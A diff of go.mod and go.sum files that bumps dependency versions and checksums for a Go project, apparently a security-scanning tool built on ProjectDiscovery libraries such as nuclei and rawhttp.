    48 47   github.com/projectdiscovery/stringsutil v0.0.0-20220712170325-48c50c332cb4
    49 48   github.com/syndtr/goleveldb v1.0.0 // indirect
    50 49   github.com/yl2chen/cidranger v1.0.2 // indirect
    51  - go.uber.org/atomic v1.9.0
     50 + go.uber.org/atomic v1.10.0
    52 51   golang.org/x/text v0.3.7
    53 52   gopkg.in/yaml.v2 v2.4.0
    54 53   gopkg.in/yaml.v3 v3.0.1 // indirect
    skipped 10 lines
    65 64   github.com/projectdiscovery/cryptoutil v1.0.0
    66 65   github.com/projectdiscovery/fastdialer v0.0.16-0.20220609092737-7e3c7dcecf16
    67 66   github.com/projectdiscovery/goconfig v0.0.0-20210804090219-f893ccd0c69c
    68  - github.com/projectdiscovery/httputil v0.0.0-20210816170244-86fd46bc09f5
    69  - github.com/projectdiscovery/rawhttp v0.0.8-0.20220526170355-03de6bb78f37
    70  - github.com/projectdiscovery/sliceutil v0.0.0-20220511171050-c7d9bc5cadd9
     67 + github.com/projectdiscovery/httputil v0.0.0-20210906072657-f3a099cb20bc
     68 + github.com/projectdiscovery/rawhttp v0.1.1
     69 + github.com/projectdiscovery/sliceutil v0.0.0-20220625085859-c3a4ecb669f4
    71 70   github.com/projectdiscovery/urlutil v0.0.0-20210805190935-3d83726391c1
    72  - github.com/projectdiscovery/wappalyzergo v0.0.52
     71 + github.com/projectdiscovery/wappalyzergo v0.0.55
    73 72   github.com/rs/xid v1.4.0
    74 73   go.etcd.io/bbolt v1.3.6 // indirect
    75 74  )
    skipped 29 lines
    105 104   github.com/karlseguin/ccache v2.0.3+incompatible
    106 105   github.com/lair-framework/go-nmap v0.0.0-20191202052157-3507e0b03523
    107 106   github.com/lcvvvv/gonmap v1.1.8
    108  - github.com/lib/pq v1.10.0
     107 + github.com/lib/pq v1.10.6
    109 108   github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40
    110 109   github.com/masterzen/winrm v0.0.0-20220513085036-69f69afcd9e9
    111 110   github.com/mfonda/simhash v0.0.0-20151007195837-79f94a1100d6
    skipped 1 lines
    113 112   github.com/olekukonko/tablewriter v0.0.5
    114 113   github.com/olivere/elastic v6.2.37+incompatible
    115 114   github.com/projectdiscovery/folderutil v0.0.0-20220215113126-add60a1e8e08
     115 + github.com/projectdiscovery/iputil v0.0.0-20220620153941-036d511e4097
    116 116   github.com/projectdiscovery/nuclei-updatecheck-api v0.0.0-20220726130814-981d44a34f84
    117  - github.com/projectdiscovery/nuclei/v2 v2.7.5
     117 + github.com/projectdiscovery/nuclei/v2 v2.7.6
    118 118   github.com/projectdiscovery/subfinder/v2 v2.5.2
    119 119   github.com/satori/go.uuid v1.2.0
    120 120   github.com/shirou/gopsutil/v3 v3.22.7
    skipped 5 lines
    126 126   github.com/txthinking/socks5 v0.0.0-20220615051428-39268faee3e6
    127 127   github.com/urfave/cli/v2 v2.10.3
    128 128   go.mongodb.org/mongo-driver v1.9.1
    129  - golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4
    130  - golang.org/x/oauth2 v0.0.0-20220411215720-9780585627b5
    131  - golang.org/x/time v0.0.0-20220411224347-583f2d630306
     129 + golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa
     130 + golang.org/x/oauth2 v0.0.0-20220722155238-128564f6959c
     131 + golang.org/x/time v0.0.0-20220722155302-e5dcc9cfc0b9
    132 132   google.golang.org/genproto v0.0.0-20220602131408-e326c6e8e9c8
    133  - google.golang.org/protobuf v1.28.0
     133 + google.golang.org/protobuf v1.28.1
    134 134   gopkg.in/irc.v3 v3.1.4
    135 135   gorm.io/driver/sqlite v1.3.6
    136 136   gorm.io/gorm v1.23.8
    skipped 14 lines
    151 151   github.com/andygrunwald/go-jira v1.15.1 // indirect
    152 152   github.com/antchfx/xpath v1.2.1 // indirect
    153 153   github.com/antlr/antlr4/runtime/Go/antlr v0.0.0-20220418222510-f25a4f6275ed // indirect
    154  - github.com/aws/aws-sdk-go v1.44.60 // indirect
     154 + github.com/aws/aws-sdk-go v1.44.77 // indirect
    155 155   github.com/aymerick/douceur v0.2.0 // indirect
    156 156   github.com/bits-and-blooms/bitset v1.2.0 // indirect
    157 157   github.com/bits-and-blooms/bloom/v3 v3.0.1 // indirect
    158 158   github.com/c4milo/unpackit v0.1.0 // indirect
    159  - github.com/caddyserver/certmagic v0.16.1 // indirect
     159 + github.com/caddyserver/certmagic v0.16.2 // indirect
    160 160   github.com/cespare/xxhash/v2 v2.1.2 // indirect
    161 161   github.com/chromedp/sysutil v1.0.0 // indirect
    162 162   github.com/cpuguy83/go-md2man/v2 v2.0.2 // indirect
    skipped 8 lines
    171 171   github.com/go-ole/go-ole v1.2.6 // indirect
    172 172   github.com/go-playground/locales v0.14.0 // indirect
    173 173   github.com/go-playground/universal-translator v0.18.0 // indirect
    174  - github.com/go-rod/rod v0.108.1 // indirect
     174 + github.com/go-rod/rod v0.109.0 // indirect
    175 175   github.com/go-stack/stack v1.8.0 // indirect
    176 176   github.com/goburrow/cache v0.1.4 // indirect
    177 177   github.com/gobwas/httphead v0.1.0 // indirect
    skipped 34 lines
    212 212   github.com/jinzhu/now v1.1.5 // indirect
    213 213   github.com/jmespath/go-jmespath v0.4.0 // indirect
    214 214   github.com/josharian/intern v1.0.0 // indirect
    215  - github.com/klauspost/compress v1.15.8 // indirect
    216  - github.com/klauspost/cpuid/v2 v2.0.11 // indirect
     215 + github.com/klauspost/compress v1.15.9 // indirect
     216 + github.com/klauspost/cpuid/v2 v2.1.0 // indirect
    217 217   github.com/klauspost/pgzip v1.2.5 // indirect
    218 218   github.com/leodido/go-urn v1.2.1 // indirect
    219 219   github.com/libdns/libdns v0.2.1 // indirect
    skipped 6 lines
    226 226   github.com/mattn/go-isatty v0.0.14 // indirect
    227 227   github.com/mattn/go-runewidth v0.0.13 // indirect
    228 228   github.com/mattn/go-sqlite3 v1.14.12 // indirect
    229  - github.com/mholt/acmez v1.0.2 // indirect
     229 + github.com/mholt/acmez v1.0.4 // indirect
    230 230   github.com/mholt/archiver v3.1.1+incompatible // indirect
    231 231   github.com/mitchellh/mapstructure v1.5.0 // indirect
    232 232   github.com/nwaples/rardecode v1.1.2 // indirect
    skipped 4 lines
    237 237   github.com/pelletier/go-toml/v2 v2.0.1 // indirect
    238 238   github.com/pierrec/lz4 v2.6.1+incompatible // indirect
    239 239   github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
    240  - github.com/projectdiscovery/chaos-client v0.1.8 // indirect
     240 + github.com/projectdiscovery/chaos-client v0.2.0 // indirect
    241 241   github.com/projectdiscovery/filekv v0.0.0-20210915124239-3467ef45dd08 // indirect
    242 242   github.com/projectdiscovery/interactsh v1.0.6 // indirect
    243 243   github.com/projectdiscovery/reflectutil v0.0.0-20210804085554-4d90952bf92f // indirect
    244 244   github.com/projectdiscovery/yamldoc-go v1.0.3-0.20211126104922-00d2c6bb43b6 // indirect
    245 245   github.com/rivo/uniseg v0.2.0 // indirect
     246 + github.com/rogpeppe/go-internal v1.8.1 // indirect
    246 247   github.com/russross/blackfriday/v2 v2.1.0 // indirect
    247 248   github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca // indirect
    248 249   github.com/segmentio/ksuid v1.0.4 // indirect
    skipped 13 lines
    262 263   github.com/ulule/deepcopier v0.0.0-20200430083143-45decc6639b6 // indirect
    263 264   github.com/valyala/bytebufferpool v1.0.0 // indirect
    264 265   github.com/valyala/fasttemplate v1.2.1 // indirect
    265  - github.com/weppos/publicsuffix-go v0.15.1-0.20210928183822-5ee35905bd95 // indirect
    266  - github.com/xanzy/go-gitlab v0.69.0 // indirect
     266 + github.com/weppos/publicsuffix-go v0.20.0 // indirect
     267 + github.com/xanzy/go-gitlab v0.72.0 // indirect
    267 268   github.com/xdg-go/pbkdf2 v1.0.0 // indirect
    268 269   github.com/xdg-go/scram v1.0.2 // indirect
    269 270   github.com/xdg-go/stringprep v1.0.2 // indirect
    skipped 4 lines
    274 275   github.com/ysmood/gson v0.7.1 // indirect
    275 276   github.com/ysmood/leakless v0.8.0 // indirect
    276 277   github.com/yusufpapurcu/wmi v1.2.2 // indirect
    277  - github.com/zmap/rc2 v0.0.0-20131011165748-24b9757f5521 // indirect
    278  - github.com/zmap/zcrypto v0.0.0-20211005224000-2d0ffdec8a9b // indirect
     278 + github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 // indirect
     279 + github.com/zmap/zcrypto v0.0.0-20220803033029-557f3e4940be // indirect
    279 280   go.uber.org/multierr v1.8.0 // indirect
    280  - go.uber.org/zap v1.21.0 // indirect
     281 + go.uber.org/zap v1.22.0 // indirect
    281 282   goftp.io/server/v2 v2.0.0 // indirect
    282  - golang.org/x/mod v0.4.2 // indirect
    283  - golang.org/x/sync v0.0.0-20210220032951-036812b2e83c // indirect
     283 + golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect
     284 + golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4 // indirect
    284 285   golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect
    285  - golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2 // indirect
    286  - golang.org/x/xerrors v0.0.0-20220517211312-f3a8303e98df // indirect
     286 + golang.org/x/tools v0.1.12 // indirect
    287 287   google.golang.org/appengine v1.6.7 // indirect
    288 288   gopkg.in/alecthomas/kingpin.v2 v2.2.6 // indirect
    289 289   gopkg.in/corvus-ch/zbase32.v1 v1.0.0 // indirect
    skipped 4 lines
  • ■ ■ ■ ■ ■ ■
    go.sum
    skipped 115 lines
    116 116  github.com/asaskevich/govalidator v0.0.0-20210307081110-f21760c49a8d h1:Byv0BzEl3/e6D5CLfI0j/7hiIEtvGVFPCZ7Ei2oq8iQ=
    117 117  github.com/asaskevich/govalidator v0.0.0-20210307081110-f21760c49a8d/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=
    118 118  github.com/aws/aws-sdk-go v1.20.6/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
    119  -github.com/aws/aws-sdk-go v1.44.60 h1:KTTogelVR+4dWiIPl7eyxoxaJkziChON6/Y/hVfTipk=
    120 119  github.com/aws/aws-sdk-go v1.44.60/go.mod h1:y4AeaBuwd2Lk+GepC1E9v0qOiTws0MIWAX4oIKwKHZo=
     120 +github.com/aws/aws-sdk-go v1.44.77 h1:m5rTfdv04/swD+vTuS2zn4NEwKX3yEJPMhiVCFDL/mU=
     121 +github.com/aws/aws-sdk-go v1.44.77/go.mod h1:y4AeaBuwd2Lk+GepC1E9v0qOiTws0MIWAX4oIKwKHZo=
    121 122  github.com/aybabtme/rgbterm v0.0.0-20170906152045-cc83f3b3ce59/go.mod h1:q/89r3U2H7sSsE2t6Kca0lfwTK8JdoNGS/yzM/4iH5I=
    122 123  github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk=
    123 124  github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4=
    skipped 13 lines
    137 138  github.com/bradfitz/iter v0.0.0-20191230175014-e8f45d346db8/go.mod h1:spo1JLcs67NmW1aVLEgtA8Yy1elc+X8y5SRW1sFW4Og=
    138 139  github.com/c4milo/unpackit v0.1.0 h1:91pWJ6B3svZ4LOE+p3rnyucRK5fZwBdF/yQ/pcZO31I=
    139 140  github.com/c4milo/unpackit v0.1.0/go.mod h1:pvXCMYlSV8zwGFWMaT+PWYkAB/cvDjN2mv9r7ZRSxEo=
    140  -github.com/caddyserver/certmagic v0.16.1 h1:rdSnjcUVJojmL4M0efJ+yHXErrrijS4YYg3FuwRdJkI=
    141 141  github.com/caddyserver/certmagic v0.16.1/go.mod h1:jKQ5n+ViHAr6DbPwEGLTSM2vDwTO6EvCKBblBRUvvuQ=
     142 +github.com/caddyserver/certmagic v0.16.2 h1:k2n3LkkUG3aMUK/kckMuF9/0VFo+0FtMX3drPYESbmQ=
     143 +github.com/caddyserver/certmagic v0.16.2/go.mod h1:PgLIr/dSJa+WA7t7z6Je5xuS/e5A/GFCPHRuZ1QP+MQ=
    142 144  github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
    143 145  github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
    144 146  github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
    skipped 98 lines
    243 245  github.com/go-playground/validator/v10 v10.11.0/go.mod h1:i+3WkQ1FvaUjjxh1kSvIA4dMGDBiPU55YFDl0WbKdWU=
    244 246  github.com/go-redis/redis v6.15.5+incompatible/go.mod h1:NAIEuMOZ/fxfXJIrKDQDz8wamY7mA7PouImQ2Jvg6kA=
    245 247  github.com/go-rod/rod v0.91.1/go.mod h1:/W4lcZiCALPD603MnJGIvhtywP3R6yRB9EDfFfsHiiI=
    246  -github.com/go-rod/rod v0.108.1 h1:2lKs+v/+B/2pbGKZgNIRbURhduTKNDZ3PXIvTRAV2Mg=
    247 248  github.com/go-rod/rod v0.108.1/go.mod h1:yNvL687cwcjgebRuArQN9AStFdm8iS/e/rzImrS9Pzg=
     249 +github.com/go-rod/rod v0.109.0 h1:h16UAw8AWRTcZ2bPfk23o8L1DBW692RUJzet49XD1rk=
     250 +github.com/go-rod/rod v0.109.0/go.mod h1:GZDtmEs6RpF6kBRYpGCZXxXlKNneKVPiKOjaMbmVVjE=
    248 251  github.com/go-routeros/routeros v0.0.0-20210123142807-2a44d57c6730 h1:EuqwWLv/LPPjhvFqkeD2bz+FOlvw2DjvDI7vK8GVeyY=
    249 252  github.com/go-routeros/routeros v0.0.0-20210123142807-2a44d57c6730/go.mod h1:em1mEqFKnoeQuQP9Sg7i26yaW8o05WwcNj7yLhrXxSQ=
    250 253  github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
    skipped 221 lines
    472 475  github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
    473 476  github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=
    474 477  github.com/klauspost/compress v1.13.6/go.mod h1:/3/Vjq9QcHkK5uEr5lBEmyoZ1iFhe47etQ6QUkpK6sk=
    475  -github.com/klauspost/compress v1.15.8 h1:JahtItbkWjf2jzm/T+qgMxkP9EMHsqEUA6vCMGmXvhA=
    476 478  github.com/klauspost/compress v1.15.8/go.mod h1:PhcZ0MbTNciWF3rruxRgKxI5NkcHHrHUDtV4Yw2GlzU=
     479 +github.com/klauspost/compress v1.15.9 h1:wKRjX6JRtDdrE9qwa4b/Cip7ACOshUI4smpCQanqjSY=
     480 +github.com/klauspost/compress v1.15.9/go.mod h1:PhcZ0MbTNciWF3rruxRgKxI5NkcHHrHUDtV4Yw2GlzU=
    477 481  github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek=
    478  -github.com/klauspost/cpuid/v2 v2.0.11 h1:i2lw1Pm7Yi/4O6XCSyJWqEHI2MDw2FzUK6o/D21xn2A=
    479 482  github.com/klauspost/cpuid/v2 v2.0.11/go.mod h1:g2LTdtYhdyuGPqyWyv7qRAmj1WBqxuObKfj5c0PQa7c=
     483 +github.com/klauspost/cpuid/v2 v2.1.0 h1:eyi1Ad2aNJMW95zcSbmGg7Cg6cq3ADwLpMAP96d8rF0=
     484 +github.com/klauspost/cpuid/v2 v2.1.0/go.mod h1:RVVoqg1df56z8g3pUjL/3lE5UfnlrJX8tyFgg4nqhuY=
    480 485  github.com/klauspost/pgzip v1.2.5 h1:qnWYvvKqedOF2ulHpMG72XQol4ILEJ8k2wwRl/Km8oE=
    481 486  github.com/klauspost/pgzip v1.2.5/go.mod h1:Ch1tH69qFZu15pkjo5kYi6mth2Zzwzt50oCQKQE9RUs=
    482 487  github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
    skipped 14 lines
    497 502  github.com/lcvvvv/gonmap v1.1.8/go.mod h1:USOReUnvvGX9/3h8arU3c6ViJ0dCilM+bTwJWQI4e0A=
    498 503  github.com/leodido/go-urn v1.2.1 h1:BqpAaACuzVSgi/VLzGZIobT2z4v53pjosyNd9Yv6n/w=
    499 504  github.com/leodido/go-urn v1.2.1/go.mod h1:zt4jvISO2HfUBqxjfIshjdMTYS56ZS/qv49ictyFfxY=
    500  -github.com/lib/pq v1.10.0 h1:Zx5DJFEYQXio93kgXnQ09fXNiUKsqv4OUEu2UtGcB1E=
    501  -github.com/lib/pq v1.10.0/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
     505 +github.com/lib/pq v1.10.6 h1:jbk+ZieJ0D7EVGJYpL9QTz7/YW6UHbmdnZWYyK5cdBs=
     506 +github.com/lib/pq v1.10.6/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
    502 507  github.com/libdns/libdns v0.2.1 h1:Wu59T7wSHRgtA0cfxC+n1c/e+O3upJGWytknkmFEDis=
    503 508  github.com/libdns/libdns v0.2.1/go.mod h1:yQCXzk1lEZmmCPa857bnk4TsOiqYasqpyOEeSObbb40=
    504 509  github.com/logrusorgru/aurora v0.0.0-20200102142835-e9ef32dff381/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4=
    skipped 31 lines
    536 541  github.com/mfonda/simhash v0.0.0-20151007195837-79f94a1100d6 h1:bjfMeqxWEJ6IRUvGkiTkSwx0a6UdQJsbirRSoXogteY=
    537 542  github.com/mfonda/simhash v0.0.0-20151007195837-79f94a1100d6/go.mod h1:WVJJvUw/pIOcwu2O8ZzHEhmigq2jzwRNfJVRMJB7bR8=
    538 543  github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
    539  -github.com/mholt/acmez v1.0.2 h1:C8wsEBIUVi6e0DYoxqCcFuXtwc4AWXL/jgcDjF7mjVo=
    540 544  github.com/mholt/acmez v1.0.2/go.mod h1:8qnn8QA/Ewx8E3ZSsmscqsIjhhpxuy9vqdgbX2ceceM=
     545 +github.com/mholt/acmez v1.0.4 h1:N3cE4Pek+dSolbsofIkAYz6H1d3pE+2G0os7QHslf80=
     546 +github.com/mholt/acmez v1.0.4/go.mod h1:qFGLZ4u+ehWINeJZjzPlsnjJBCPAADWTcIqE/7DAYQY=
    541 547  github.com/mholt/archiver v3.1.1+incompatible h1:1dCVxuqs0dJseYEhi5pl7MYPH9zDa1wBi7mF09cbNkU=
    542 548  github.com/mholt/archiver v3.1.1+incompatible/go.mod h1:Dh2dOXnSdiLxRiPoVfIr/fI1TwETms9B8CTWfeh7ROU=
    543 549  github.com/microcosm-cc/bluemonday v1.0.18/go.mod h1:Z0r70sCuXHig8YpBzCc5eGHAap2K7e/u082ZUpDRRqM=
    skipped 77 lines
    621 627  github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
    622 628  github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c h1:ncq/mPwQF4JjgDlrVEn3C11VoGHZN7m8qihwgMEtzYw=
    623 629  github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE=
    624  -github.com/projectdiscovery/blackrock v0.0.0-20210415162320-b38689ae3a2e h1:7bwaFH1jvtOo5ndhTQgoA349ozhX+1dc4b6tbaPnBOA=
    625 630  github.com/projectdiscovery/blackrock v0.0.0-20210415162320-b38689ae3a2e/go.mod h1:/IsapnEYiWG+yEDPXp0e8NWj3npzB9Ccy9lXEUJwMZs=
     631 +github.com/projectdiscovery/blackrock v0.0.0-20210903102120-5a9d2412d21d/go.mod h1:/IsapnEYiWG+yEDPXp0e8NWj3npzB9Ccy9lXEUJwMZs=
     632 +github.com/projectdiscovery/blackrock v0.0.0-20220628111055-35616c71b2dc h1:jqZK68yPOnNNRmwuXqytl+T9EbwneEUCvMDRjLe0J04=
     633 +github.com/projectdiscovery/blackrock v0.0.0-20220628111055-35616c71b2dc/go.mod h1:5tNGQP9kOfW+X5+40pZP8aqPYLHs45nJkFaSHLxdeH8=
    626 634  github.com/projectdiscovery/cdncheck v0.0.4-0.20220322144854-b2d8ce308abb h1:Q7tb/p2ts+dT+v4nQpxTR0DSng2C1Hlnrw/NE4tgGZw=
    627 635  github.com/projectdiscovery/cdncheck v0.0.4-0.20220322144854-b2d8ce308abb/go.mod h1:EevMeCG1ogBoUJYaa0Mv9R1VUboDm/DiynId7DboKy0=
    628  -github.com/projectdiscovery/chaos-client v0.1.8 h1:wxvCuu40UGNHVUXcC0nXmSGI6vbIzFuHMll7P0PglC0=
    629  -github.com/projectdiscovery/chaos-client v0.1.8/go.mod h1:F5omaoJh/vMvWnZhKD4zFFA5ti+RPwUletwepKSyfxk=
     636 +github.com/projectdiscovery/chaos-client v0.2.0 h1:a6B0HGAUdlpU4YR0o7j70GaY/PkEdtrP9VsRacfEeng=
     637 +github.com/projectdiscovery/chaos-client v0.2.0/go.mod h1:6A43jvxrzIS93GZXUlrHfqr8jDZO4g/QCr6At1h9r2U=
    630 638  github.com/projectdiscovery/clistats v0.0.8 h1:tjmWb15mqsPf/yrQXVHLe2ThZX/5+mgKSfZBKWWLh20=
    631 639  github.com/projectdiscovery/clistats v0.0.8/go.mod h1:lV6jUHAv2bYWqrQstqW8iVIydKJhWlVaLl3Xo9ioVGg=
    632 640  github.com/projectdiscovery/cryptoutil v0.0.0-20210805184155-b5d2512f9345/go.mod h1:clhQmPnt35ziJW1AhJRKyu8aygXCSoyWj6dtmZBRjjc=
    633 641  github.com/projectdiscovery/cryptoutil v1.0.0 h1:5rQfnWDthJ5ZFcqze+rmT1N7l1HJQ6EB26MrjaYB7I0=
    634 642  github.com/projectdiscovery/cryptoutil v1.0.0/go.mod h1:VJvSNE8f8A1MgpjgAL2GPJSQcJa4jbdaeQJstARFrU4=
    635  -github.com/projectdiscovery/dnsx v1.0.7-0.20210927160546-05f957862698 h1:LSE8Fu47mp1VcuQ2tb7K2H3UpWdSt/OvxpPiQ7+yC/k=
    636  -github.com/projectdiscovery/dnsx v1.0.7-0.20210927160546-05f957862698/go.mod h1:KNG4N3G6/QPtv381vQU7lHCJpxz8AvCq7h4pIFDuWwQ=
     643 +github.com/projectdiscovery/dnsx v1.0.9 h1:vxwtFY3VJKlaGHMIQDhlMK85Q5rUw+d7So2v8ySM0L4=
     644 +github.com/projectdiscovery/dnsx v1.0.9/go.mod h1:qhKPLHO9uUvNGlokc3sAdGCOU7OZliiuroCpyGawkgk=
    637 645  github.com/projectdiscovery/fastdialer v0.0.12/go.mod h1:RkRbxqDCcCFhfNUbkzBIz/ieD4uda2JuUA4WJ+RLee0=
     646 +github.com/projectdiscovery/fastdialer v0.0.15/go.mod h1:Q28lw9oTpiZHq09uFG6YYYLUsUjsOypZ7PXWwQGBB80=
    638 647  github.com/projectdiscovery/fastdialer v0.0.16-0.20220609092737-7e3c7dcecf16 h1:oinl80GbA16c6Et6YxcYw/QfwsZgRE0ZswxL43/MNhY=
    639 648  github.com/projectdiscovery/fastdialer v0.0.16-0.20220609092737-7e3c7dcecf16/go.mod h1:/l2A7NuQPkHH4mDyScm4N9cDltPB1XMhE5y+9mt00Ak=
    640 649  github.com/projectdiscovery/fdmax v0.0.3 h1:FM6lv9expZ/rEEBI9tkRh6tx3DV0gtpwzdc0h7bGPqg=
    skipped 14 lines
    655 664  github.com/projectdiscovery/goflags v0.0.8-0.20220426153734-2ffbfbff923c/go.mod h1:uN+pHMLsWQoiZHUg/l0tqf/VdbX3+ecKfYz/H7b/+NA=
    656 665  github.com/projectdiscovery/goflags v0.0.8-0.20220610073650-5d31a8c159e3 h1:2cUSicd6wkd7A3P+tjjAYiPmD99FtWp4k2curJkcrJ0=
    657 666  github.com/projectdiscovery/goflags v0.0.8-0.20220610073650-5d31a8c159e3/go.mod h1:Np0EwqmopHDDb1cY4/NEBaC4fornMIWc6dr5yL91kzM=
    658  -github.com/projectdiscovery/gologger v1.0.0/go.mod h1:Ok+axMqK53bWNwDSU1nTNwITLYMXMdZtRc8/y1c7sWE=
    659 667  github.com/projectdiscovery/gologger v1.0.1/go.mod h1:Ok+axMqK53bWNwDSU1nTNwITLYMXMdZtRc8/y1c7sWE=
    660 668  github.com/projectdiscovery/gologger v1.1.4 h1:qWxGUq7ukHWT849uGPkagPKF3yBPYAsTtMKunQ8O2VI=
    661 669  github.com/projectdiscovery/gologger v1.1.4/go.mod h1:Bhb6Bdx2PV1nMaFLoXNBmHIU85iROS9y1tBuv7T5pMY=
    skipped 1 lines
    663 671  github.com/projectdiscovery/hmap v0.0.2-0.20210616215655-7b78e7f33d1f/go.mod h1:FH+MS/WNKTXJQtdRn+/Zg5WlKCiMN0Z1QUedUIuM5n8=
    664 672  github.com/projectdiscovery/hmap v0.0.2-0.20210917080408-0fd7bd286bfa h1:9sZWFUAshIa/ea0RKjGRuuZiS5PzYXAFjTRUnSbezr0=
    665 673  github.com/projectdiscovery/hmap v0.0.2-0.20210917080408-0fd7bd286bfa/go.mod h1:lV5f/PNPmCCjCN/dR317/chN9s7VG5h/xcbFfXOz8Fo=
    666  -github.com/projectdiscovery/httputil v0.0.0-20210816170244-86fd46bc09f5 h1:GzruqQhb+sj1rEuHRFLhWX8gH/tJ+sj1udRjOy9VCJo=
    667  -github.com/projectdiscovery/httputil v0.0.0-20210816170244-86fd46bc09f5/go.mod h1:BueJPSPWAX11IFS6bdAqTkekiIz5Fgco5LVc1kqO9L4=
     674 +github.com/projectdiscovery/httputil v0.0.0-20210906072657-f3a099cb20bc h1:C0L6pUvVI+sPJSBaPQJEG/HjPtg8Mgs2vEpsdrl064A=
     675 +github.com/projectdiscovery/httputil v0.0.0-20210906072657-f3a099cb20bc/go.mod h1:BueJPSPWAX11IFS6bdAqTkekiIz5Fgco5LVc1kqO9L4=
    668 676  github.com/projectdiscovery/interactsh v0.0.4/go.mod h1:PtJrddeBW1/LeOVgTvvnjUl3Hu/17jTkoIi8rXeEODE=
    669 677  github.com/projectdiscovery/interactsh v1.0.6 h1:nuJmJ9zSUiG5tcgwgtkFdXpYghuB+i+OuvohXSCPhxo=
    670 678  github.com/projectdiscovery/interactsh v1.0.6/go.mod h1:xyFWrqgMRJMrd19tPLdjtIOsg/kUhIAUXp+Yg+yoAvg=
    skipped 18 lines
    689 697  github.com/projectdiscovery/nuclei-updatecheck-api v0.0.0-20220726130814-981d44a34f84 h1:PD27xMJF6z81zKIPB6wC4ZA7vBxM4ChV3sFTYdma4/8=
    690 698  github.com/projectdiscovery/nuclei-updatecheck-api v0.0.0-20220726130814-981d44a34f84/go.mod h1:l7yVNUvTqLvwhwnGa/T28457Y/axOoXPOPbNen/Jmpg=
    691 699  github.com/projectdiscovery/nuclei/v2 v2.5.1/go.mod h1:sU2qcY0MQFS0CqP1BgkR8ZnUyFhqK0BdnY6bvTKNjXY=
    692  -github.com/projectdiscovery/nuclei/v2 v2.7.5 h1:q9jAvrVy9v284+QvxR4rPZZWA8uTYQm2MlHy/+FGZ8w=
    693 700  github.com/projectdiscovery/nuclei/v2 v2.7.5/go.mod h1:Gi6c6b8NJMi9QO5salpFv/n3TlcERP49hCYxIiwFfQM=
     701 +github.com/projectdiscovery/nuclei/v2 v2.7.6 h1:rjjHwfPWjoA0Xp9k/de6Ln1W+diZMbIrFSDaGSF2TQU=
     702 +github.com/projectdiscovery/nuclei/v2 v2.7.6/go.mod h1:7JMjz2Knf4D0sWvQl34NEMrzBaRYEzeP9jGgqtlM0LM=
    694 703  github.com/projectdiscovery/nvd v1.0.9-0.20220314070650-d4a214c1f87d/go.mod h1:nGHAo7o6G4V4kscZlm488qKp/ZrZYiBoKqAQrn3X4Og=
    695 704  github.com/projectdiscovery/rawhttp v0.0.7/go.mod h1:PQERZAhAv7yxI/hR6hdDPgK1WTU56l204BweXrBec+0=
    696  -github.com/projectdiscovery/rawhttp v0.0.8-0.20220526170355-03de6bb78f37 h1:odvvszpfUvNq5UMzUhimete71/ph+XQzzL11C/u3lUc=
    697 705  github.com/projectdiscovery/rawhttp v0.0.8-0.20220526170355-03de6bb78f37/go.mod h1:kulxvr2aKZPB6jhq4ZQn/E+ArwRWczs1O6b1ZdcZAxo=
     706 +github.com/projectdiscovery/rawhttp v0.1.1 h1:VRpPAGwgLzKyApUbVqW2NjCMPxrjAmRkeIS+WPKwhFI=
     707 +github.com/projectdiscovery/rawhttp v0.1.1/go.mod h1:Q5PDAmKzjAjweEp0CQr9301nyxCOkzA9ImK6qLjgk+8=
    698 708  github.com/projectdiscovery/reflectutil v0.0.0-20210804085554-4d90952bf92f h1:HR3R/nhELwLXufUlO1ZkKVqrZl4lN1cWFBdN8RcMuLo=
    699 709  github.com/projectdiscovery/reflectutil v0.0.0-20210804085554-4d90952bf92f/go.mod h1:3L0WfNIcVWXIDur8k+gKDLZLWY2F+rs0SQXtcn/3AYU=
